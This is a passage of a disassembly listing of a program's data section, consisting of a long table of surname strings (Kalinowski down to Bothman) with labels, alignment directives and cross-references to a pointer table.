aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E554o
align 10h
aKalil db 'Kalil',0 ; DATA XREF: ___:0042E550o
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E54Co
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E548o
aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E544o
aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E540o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E53Co
aJulious db 'Julious',0 ; DATA XREF: ___:0042E538o
aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E534o
aJucks db 'Jucks',0 ; DATA XREF: ___:0042E530o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E52Co
align 10h
aJolly db 'Jolly',0 ; DATA XREF: ___:0042E528o
align 4
aJohns db 'Johns',0 ; DATA XREF: ___:0042E524o
align 10h
aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E520o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E51Co
aJewett db 'Jewett',0 ; DATA XREF: ___:0042E518o
align 10h
aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E514o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E510o
aJellis db 'Jellis',0 ; DATA XREF: ___:0042E50Co
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E508o
aJay db 'Jay',0 ; DATA XREF: ___:0042E504o
aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E500o
aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E4FCo
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E4F8o
align 4
aJamil db 'Jamil',0 ; DATA XREF: ___:0042E4F4o
align 10h
aJain db 'Jain',0 ; DATA XREF: ___:0042E4F0o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E4ECo
align 10h
aJagger db 'Jagger',0 ; DATA XREF: ___:0042E4E8o
align 4
aJagers db 'Jagers',0 ; DATA XREF: ___:0042E4E4o
align 10h
aJackson db 'Jackson',0 ; DATA XREF: ___:0042E4E0o
aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E4DCo
aIyer db 'Iyer',0 ; DATA XREF: ___:0042E4D8o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E4D4o
align 4
aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E4D0o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E4CCo
align 4
aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E4C8o
align 10h
aInniss db 'Inniss',0 ; DATA XREF: ___:0042E4C4o
align 4
aInamura db 'Inamura',0 ; DATA XREF: ___:0042E4C0o
aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E4BCo
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E4B8o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E4B4o
align 4
aHyde db 'Hyde',0 ; DATA XREF: ___:0042E4B0o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E4ACo
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E4A8o
align 4
aHupp db 'Hupp',0 ; DATA XREF: ___:0042E4A4o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E4A0o
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E49Co
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E498o
align 10h
aHuey db 'Huey',0 ; DATA XREF: ___:0042E494o
align 4
aHoy db 'Hoy',0 ; DATA XREF: ___:0042E490o
aHoward db 'Howard',0 ; DATA XREF: ___:0042E48Co
align 4
aHottle db 'Hottle',0 ; DATA XREF: ___:0042E488o
align 4
aHostage db 'Hostage',0 ; DATA XREF: ___:0042E484o
aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E480o
aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E47Co
aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E478o
aHooker db 'Hooker',0 ; DATA XREF: ___:0042E474o
align 4
aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E470o
aHolway db 'Holway',0 ; DATA XREF: ___:0042E46Co
align 4
aHolter db 'Holter',0 ; DATA XREF: ___:0042E468o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E464o
aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E460o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E45Co
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E458o
align 10h
aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E454o
aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E450o
align 10h
aHock db 'Hock',0 ; DATA XREF: ___:0042E44Co
align 4
aHoang db 'Hoang',0 ; DATA XREF: ___:0042E448o
align 10h
aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E444o
align 4
aHirst db 'Hirst',0 ; DATA XREF: ___:0042E440o
align 4
aHind db 'Hind',0 ; DATA XREF: ___:0042E43Co
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E438o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E434o
align 10h
aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E430o
aHester db 'Hester',0 ; DATA XREF: ___:0042E42Co
align 10h
aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E428o
aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E424o
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E420o
align 10h
aHenery db 'Henery',0 ; DATA XREF: ___:0042E41Co
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E418o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E414o
aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E410o
align 4
aHellman db 'Hellman',0 ; DATA XREF: ___:0042E40Co
aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E408o
aHeft db 'Heft',0 ; DATA XREF: ___:0042E404o
align 10h
aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E400o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E3FCo
align 4
aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E3F8o
align 10h
aHayes db 'Hayes',0 ; DATA XREF: ___:0042E3F4o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E3F0o
align 10h
aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E3ECo
align 4
aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E3E8o
aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E3E4o
align 10h
aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E3E0o
align 4
aHartman db 'Hartman',0 ; DATA XREF: ___:0042E3DCo
aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E3D8o
align 10h
aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E3D4o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E3D0o
align 4
aHarding db 'Harding',0 ; DATA XREF: ___:0042E3CCo
aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E3C8o
aHand db 'Hand',0 ; DATA XREF: ___:0042E3C4o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E3C0o
align 4
aHamer db 'Hamer',0 ; DATA XREF: ___:0042E3BCo
align 10h
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E3B8o
align 10h
aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E3B4o
aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E3B0o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E3ACo
aHaley db 'Haley',0 ; DATA XREF: ___:0042E3A8o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E3A4o
align 10h
aHackman db 'Hackman',0 ; DATA XREF: ___:0042E3A0o
aHaar db 'Haar',0 ; DATA XREF: ___:0042E39Co
align 10h
aHa db 'Ha',0 ; DATA XREF: ___:0042E398o
align 4
aGuo db 'Guo',0 ; DATA XREF: ___:0042E394o
aGunn db 'Gunn',0 ; DATA XREF: ___:0042E390o
align 10h
aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E38Co
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E388o
align 4
aGruner db 'Gruner',0 ; DATA XREF: ___:0042E384o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E380o
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E37Co
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E378o
align 10h
aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E374o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E370o
align 4
aGravell db 'Gravell',0 ; DATA XREF: ___:0042E36Co
aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E368o
align 4
aGoody db 'Goody',0 ; DATA XREF: ___:0042E364o
align 10h
aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E360o
align 4
aGood db 'Good',0 ; DATA XREF: ___:0042E35Co
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E358o
align 10h
aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E354o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: ___:0042E350o
aGlegg db 'Glegg',0 ; DATA XREF: ___:0042E34Co
align 4
aGleason db 'Gleason',0 ; DATA XREF: ___:0042E348o
aGist db 'Gist',0 ; DATA XREF: ___:0042E344o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042E340o
align 4
aGill db 'Gill',0 ; DATA XREF: ___:0042E33Co
align 10h
aGili db 'Gili',0 ; DATA XREF: ___:0042E338o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042E334o
aGibson db 'Gibson',0 ; DATA XREF: ___:0042E330o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042E32Co
aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042E328o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042E324o
aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042E320o
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042E31Co
align 4
aGeller db 'Geller',0 ; DATA XREF: ___:0042E318o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: ___:0042E314o
aGarman db 'Garman',0 ; DATA XREF: ___:0042E310o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: ___:0042E30Co
align 4
aGambini db 'Gambini',0 ; DATA XREF: ___:0042E308o
aGalwey db 'Galwey',0 ; DATA XREF: ___:0042E304o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042E300o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042E2FCo
align 10h
aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042E2F8o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042E2F4o
align 4
aFurth db 'Furth',0 ; DATA XREF: ___:0042E2F0o
align 4
aFuller db 'Fuller',0 ; DATA XREF: ___:0042E2ECo
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042E2E8o
align 10h
aFrye db 'Frye',0 ; DATA XREF: ___:0042E2E4o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042E2E0o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042E2DCo
aFrisken db 'Frisken',0 ; DATA XREF: ___:0042E2D8o
aFriedland db 'Friedland',0 ; DATA XREF: ___:0042E2D4o
align 10h
aFried db 'Fried',0 ; DATA XREF: ___:0042E2D0o
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042E2CCo
align 4
aFreid db 'Freid',0 ; DATA XREF: ___:0042E2C8o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042E2C4o
align 4
aFranz db 'Franz',0 ; DATA XREF: ___:0042E2C0o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042E2BCo
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042E2B8o
align 10h
aFossi db 'Fossi',0 ; DATA XREF: ___:0042E2B4o
align 4
aFossey db 'Fossey',0 ; DATA XREF: ___:0042E2B0o
align 10h
aFortier db 'Fortier',0 ; DATA XREF: ___:0042E2ACo
aFortes db 'Fortes',0 ; DATA XREF: ___:0042E2A8o
align 10h
aForester db 'Forester',0 ; DATA XREF: ___:0042E2A4o
align 4
aFolks db 'Folks',0 ; DATA XREF: ___:0042E2A0o
align 4
aFlores db 'Flores',0 ; DATA XREF: ___:0042E29Co
align 4
aFlier db 'Flier',0 ; DATA XREF: ___:0042E298o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042E294o
aFisk db 'Fisk',0 ; DATA XREF: ___:0042E290o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042E28Co
aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042E288o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042E284o
aFink db 'Fink',0 ; DATA XREF: ___:0042E280o
align 10h
aField db 'Field',0 ; DATA XREF: ___:0042E27Co
align 4
aFido db 'Fido',0 ; DATA XREF: ___:0042E278o
align 10h
aFeuer db 'Feuer',0 ; DATA XREF: ___:0042E274o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042E270o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042E26Co
align 10h
aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042E268o
align 4
aFernald db 'Fernald',0 ; DATA XREF: ___:0042E264o
aFeldman db 'Feldman',0 ; DATA XREF: ___:0042E260o
aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042E25Co
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042E258o
align 10h
aFates db 'Fates',0 ; DATA XREF: ___:0042E254o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042E250o
align 10h
aFarren db 'Farren',0 ; DATA XREF: ___:0042E24Co
align 4
aFarone db 'Farone',0 ; DATA XREF: ___:0042E248o
align 10h
aFaris db 'Faris',0 ; DATA XREF: ___:0042E244o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042E240o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042E23Co
align 10h
aFaioes db 'Faioes',0 ; DATA XREF: ___:0042E238o
align 4
aFagan db 'Fagan',0 ; DATA XREF: ___:0042E234o
align 10h
aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042E230o
aEverett db 'Everett',0 ; DATA XREF: ___:0042E22Co
aEuripides db 'Euripides',0 ; DATA XREF: ___:0042E228o
align 4
aEtter db 'Etter',0 ; DATA XREF: ___:0042E224o
align 4
aEstes db 'Estes',0 ; DATA XREF: ___:0042E220o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042E21Co
align 4
aErez db 'Erez',0 ; DATA XREF: ___:0042E218o
align 10h
aErdos db 'Erdos',0 ; DATA XREF: ___:0042E214o
align 4
aErdman db 'Erdman',0 ; DATA XREF: ___:0042E210o
align 10h
aErbach db 'Erbach',0 ; DATA XREF: ___:0042E20Co
align 4
aEppling db 'Eppling',0 ; DATA XREF: ___:0042E208o
aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042E204o
aEncinas db 'Encinas',0 ; DATA XREF: ___:0042E200o
aElvis db 'Elvis',0 ; DATA XREF: ___:0042E1FCo
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042E1F8o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042E1F4o
align 10h
aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042E1F0o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042E1ECo
aEdward db 'Edward',0 ; DATA XREF: ___:0042E1E8o
align 10h
aEdner db 'Edner',0 ; DATA XREF: ___:0042E1E4o
align 4
aEdley db 'Edley',0 ; DATA XREF: ___:0042E1E0o
align 10h
aEckel db 'Eckel',0 ; DATA XREF: ___:0042E1DCo
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042E1D8o
aEardley db 'Eardley',0 ; DATA XREF: ___:0042E1D4o
aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042E1D0o
align 10h
aDussault db 'Dussault',0 ; DATA XREF: ___:0042E1CCo
align 4
aDurrett db 'Durrett',0 ; DATA XREF: ___:0042E1C8o
aDuffin db 'Duffin',0 ; DATA XREF: ___:0042E1C4o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042E1C0o
aDrinker db 'Drinker',0 ; DATA XREF: ___:0042E1BCo
aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042E1B8o
align 4
aDoug db 'Doug',0 ; DATA XREF: ___:0042E1B4o
align 10h
aDoty db 'Doty',0 ; DATA XREF: ___:0042E1B0o
align 4
aDosi db 'Dosi',0 ; DATA XREF: ___:0042E1ACo
align 10h
aDorf db 'Dorf',0 ; DATA XREF: ___:0042E1A8o
align 4
aDore db 'Dore',0 ; DATA XREF: ___:0042E1A4o
align 10h
aDoonan db 'Doonan',0 ; DATA XREF: ___:0042E1A0o
align 4
aDonner db 'Donner',0 ; DATA XREF: ___:0042E19Co
align 10h
aDonahue db 'Donahue',0 ; DATA XREF: ___:0042E198o
aDoherty db 'Doherty',0 ; DATA XREF: ___:0042E194o
aDockery db 'Dockery',0 ; DATA XREF: ___:0042E190o
aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042E18Co
aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042E188o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042E184o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042E180o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: ___:0042E17Co
aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042E178o
align 4
aDicks db 'Dicks',0 ; DATA XREF: ___:0042E174o
align 10h
aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042E170o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042E16Co
aDesombre db 'Desombre',0 ; DATA XREF: ___:0042E168o
align 4
aDenison db 'Denison',0 ; DATA XREF: ___:0042E164o
aDenham db 'Denham',0 ; DATA XREF: ___:0042E160o
align 4
aDenault db 'Denault',0 ; DATA XREF: ___:0042E15Co
aDemusz db 'Demusz',0 ; DATA XREF: ___:0042E158o
align 4
aDempster db 'Dempster',0 ; DATA XREF: ___:0042E154o
align 4
aDeming db 'Deming',0 ; DATA XREF: ___:0042E150o
align 10h
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E14Co
align 4
aDelger db 'Delger',0 ; DATA XREF: ___:0042E148o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042E144o
align 4
aDelattre db 'Delattre',0 ; DATA XREF: ___:0042E140o
align 10h
aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042E13Co
align 4
aDees db 'Dees',0 ; DATA XREF: ___:0042E138o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: ___:0042E134o
aDerousse db 'deRousse',0 ; DATA XREF: ___:0042E130o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E12Co
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042E128o
align 10h
aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042E124o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042E120o
aDavid db 'David',0 ; DATA XREF: ___:0042E11Co
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042E118o
aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042E114o
align 10h
aDas db 'Das',0 ; DATA XREF: ___:0042E110o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E10Co
aDapice db 'Dapice',0 ; DATA XREF: ___:0042E108o
align 4
aDante db 'Dante',0 ; DATA XREF: ___:0042E104o
align 10h
aDanieli db 'Danieli',0 ; DATA XREF: ___:0042E100o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042E0FCo
aDaly db 'Daly',0 ; DATA XREF: ___:0042E0F8o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042E0F4o
align 4
aDasilva db 'daSilva',0 ; DATA XREF: ___:0042E0F0o
aCyders db 'Cyders',0 ; DATA XREF: ___:0042E0ECo
align 4
aCvek db 'Cvek',0 ; DATA XREF: ___:0042E0E8o
align 4
aCutler db 'Cutler',0 ; DATA XREF: ___:0042E0E4o
align 4
aCurrier db 'Currier',0 ; DATA XREF: ___:0042E0E0o
aCui db 'Cui',0 ; DATA XREF: ___:0042E0DCo
aCroxton db 'Croxton',0 ; DATA XREF: ___:0042E0D8o
aCroxen db 'Croxen',0 ; DATA XREF: ___:0042E0D4o
align 10h
aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042E0D0o
aCrocker db 'Crocker',0 ; DATA XREF: ___:0042E0CCo
aCrawford db 'Crawford',0 ; DATA XREF: ___:0042E0C8o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042E0C4o
aCounter db 'Counter',0 ; DATA XREF: ___:0042E0C0o
aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042E0BCo
align 4
aCornish db 'Cornish',0 ; DATA XREF: ___:0042E0B8o
aCorey db 'Corey',0 ; DATA XREF: ___:0042E0B4o
align 4
aConnors db 'Connors',0 ; DATA XREF: ___:0042E0B0o
aCondodina db 'Condodina',0 ; DATA XREF: ___:0042E0ACo
align 4
aConcino db 'Concino',0 ; DATA XREF: ___:0042E0A8o
aComstock db 'Comstock',0 ; DATA XREF: ___:0042E0A4o
align 10h
aCompton db 'Compton',0 ; DATA XREF: ___:0042E09Co
; ___:0042E0A0o
aCollis db 'Collis',0 ; DATA XREF: ___:0042E098o
align 10h
aCollard db 'Collard',0 ; DATA XREF: ___:0042E094o
aColella db 'Colella',0 ; DATA XREF: ___:0042E090o
aColdren db 'Coldren',0 ; DATA XREF: ___:0042E08Co
aCoito db 'Coito',0 ; DATA XREF: ___:0042E088o
align 10h
aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042E084o
aClow db 'Clow',0 ; DATA XREF: ___:0042E080o
align 10h
aClifton db 'Clifton',0 ; DATA XREF: ___:0042E07Co
aClement db 'Clement',0 ; DATA XREF: ___:0042E078o
aClark db 'Clark',0 ; DATA XREF: ___:0042E074o
align 4
aClancy db 'Clancy',0 ; DATA XREF: ___:0042E070o
align 10h
aClaffey db 'Claffey',0 ; DATA XREF: ___:0042E06Co
aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042E068o
align 4
aCicero db 'Cicero',0 ; DATA XREF: ___:0042E064o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042E060o
align 4
aChurch db 'Church',0 ; DATA XREF: ___:0042E05Co
align 10h
aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042E058o
align 4
aChu db 'Chu',0 ; DATA XREF: ___:0042E054o
aChristopher db 'Christopher',0 ; DATA XREF: ___:0042E050o
aChristie db 'Christie',0 ; DATA XREF: ___:0042E04Co
align 4
aChristiano db 'Christiano',0 ; DATA XREF: ___:0042E048o
align 4
aChristian db 'Christian',0 ; DATA XREF: ___:0042E044o
align 10h
aChristenson db 'Christenson',0 ; DATA XREF: ___:0042E040o
aChinman db 'Chinman',0 ; DATA XREF: ___:0042E03Co
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042E038o
aChilds db 'Childs',0 ; DATA XREF: ___:0042E034o
align 4
aChildress db 'Childress',0 ; DATA XREF: ___:0042E030o
align 4
aChien db 'Chien',0 ; DATA XREF: ___:0042E02Co
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042E028o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042E024o
align 4
aCherry db 'Cherry',0 ; DATA XREF: ___:0042E020o
align 4
aCheang db 'Cheang',0 ; DATA XREF: ___:0042E01Co
align 4
aCharles db 'Charles',0 ; DATA XREF: ___:0042E018o
aChapman db 'Chapman',0 ; DATA XREF: ___:0042E014o
aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042E010o
aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042E00Co
align 4
aCavell db 'Cavell',0 ; DATA XREF: ___:0042E008o
align 10h
aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042E004o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: ___:0042E000o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DFFCo
align 10h
aCase db 'Case',0 ; DATA XREF: ___:0042DFF8o
align 4
aCascio db 'Cascio',0 ; DATA XREF: ___:0042DFF4o
align 10h
aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DFF0o
align 4
aCarper db 'Carper',0 ; DATA XREF: ___:0042DFECo
align 4
aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DFE8o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DFE4o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DFE0o
aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DFDCo
align 4
aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DFD8o
align 10h
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DFD4o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DFD0o
aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DFCCo
aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DFC8o
align 10h
aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DFC4o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DFC0o
align 4
aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DFBCo
align 4
aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DFB8o
aCanley db 'Canley',0 ; DATA XREF: ___:0042DFB4o
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DFB0o
align 10h
aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DFACo
align 4
aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DFA8o
align 4
aCage db 'Cage',0 ; DATA XREF: ___:0042DFA4o
align 4
aByrd db 'Byrd',0 ; DATA XREF: ___:0042DFA0o
align 4
aByerly db 'Byerly',0 ; DATA XREF: ___:0042DF9Co
align 4
aByatt db 'Byatt',0 ; DATA XREF: ___:0042DF98o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DF94o
aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DF90o
align 4
aBurke db 'Burke',0 ; DATA XREF: ___:0042DF8Co
align 10h
aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DF88o
align 4
aBurden db 'Burden',0 ; DATA XREF: ___:0042DF84o
align 10h
aBunton db 'Bunton',0 ; DATA XREF: ___:0042DF80o
align 4
aBullard db 'Bullard',0 ; DATA XREF: ___:0042DF7Co
aBudding db 'Budding',0 ; DATA XREF: ___:0042DF78o
aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DF74o
align 10h
aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DF70o
aBrook db 'Brook',0 ; DATA XREF: ___:0042DF6Co
align 10h
aBroca db 'Broca',0 ; DATA XREF: ___:0042DF68o
align 4
aBritz db 'Britz',0 ; DATA XREF: ___:0042DF64o
align 10h
aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DF60o
aBridges db 'Bridges',0 ; DATA XREF: ___:0042DF5Co
aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DF58o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DF50o
; ___:0042DF54o
align 4
aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DF4Co
aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DF48o
align 4
aBreed db 'Breed',0 ; DATA XREF: ___:0042DF44o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DF40o
align 4
aBradach db 'Bradach',0 ; DATA XREF: ___:0042DF3Co
aBradac db 'Bradac',0 ; DATA XREF: ___:0042DF38o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DF34o
align 10h
aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DF30o
align 4
aBoym db 'Boym',0 ; DATA XREF: ___:0042DF2Co
align 10h
aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DF28o
aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DF24o
align 10h
aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DF20o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DF1Co
align 4
aBowers db 'Bowers',0 ; DATA XREF: ___:0042DF18o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DF14o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DF10o
aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DF0Co
align 4
aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DF08o
align 10h
aBothman db 'Bothman',0 ; DATA XREF: ___:0042DF04o
